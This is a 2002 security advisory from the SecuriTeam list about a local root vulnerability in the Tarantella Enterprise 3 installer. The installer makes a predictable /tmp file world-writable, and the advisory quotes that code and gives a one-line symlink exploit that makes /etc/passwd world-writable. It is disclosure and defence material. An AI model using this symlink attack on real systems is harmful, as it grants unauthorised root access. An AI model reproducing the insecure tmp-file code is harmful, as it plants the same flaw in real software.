[UNIX] More Local Root Vulnerabilities during Installation of Tarantella Enterprise

From: support@securiteam.com
Date: 02/20/02


From: support@securiteam.com
To: list@securiteam.com
Date: Wed, 20 Feb 2002 22:45:13 +0100 (CET)

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
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  More Local Root Vulnerabilities during Installation of Tarantella
Enterprise
------------------------------------------------------------------------

SUMMARY

 <http://www.tarantella.com/> Tarantella Enterprise 3 is a non-intrusive
application/data centralization solution. End users can access enterprise
resources via the web interface. A security vulnerability has been found
in the installation process, which would allow local attackers to change
the permissions of existing files to world writeable.

DETAILS

During installation a "twirling / \ | - " text graphic is displayed. The
program creates a file in /tmp called spinning to determine at what state
the installation is at. The files permissions are changed to read write
execute for all users and groups, removed and recreated during different
stages of the installation. This file creation is vulnerable to a simple
symlink attack.

Problematic Code:
<----snip---->
touch /tmp/spinning >/dev/null 2>&1
chmod 777 /tmp/spinning >/dev/null 2>&1
<----snip---->

Exploit:
There is no race condition here, just create the link.

$ ln -s /etc/passwd /tmp/spinning

Wait until root is done installing.

$ ls -l /etc/passwd
- -rwxrwxrwx 1 root root 1094 Feb 18 22:39 /etc/passwd

Recommendations:
It is recommended that the target system is running in single user mode
before this software is installed.

Vendor status:
The vendor has been notified and plans to fix this in the next release.

ADDITIONAL INFORMATION

The information has been provided by <mailto:lwc@vapid.dhs.org> Larry W.
Cashdollar.

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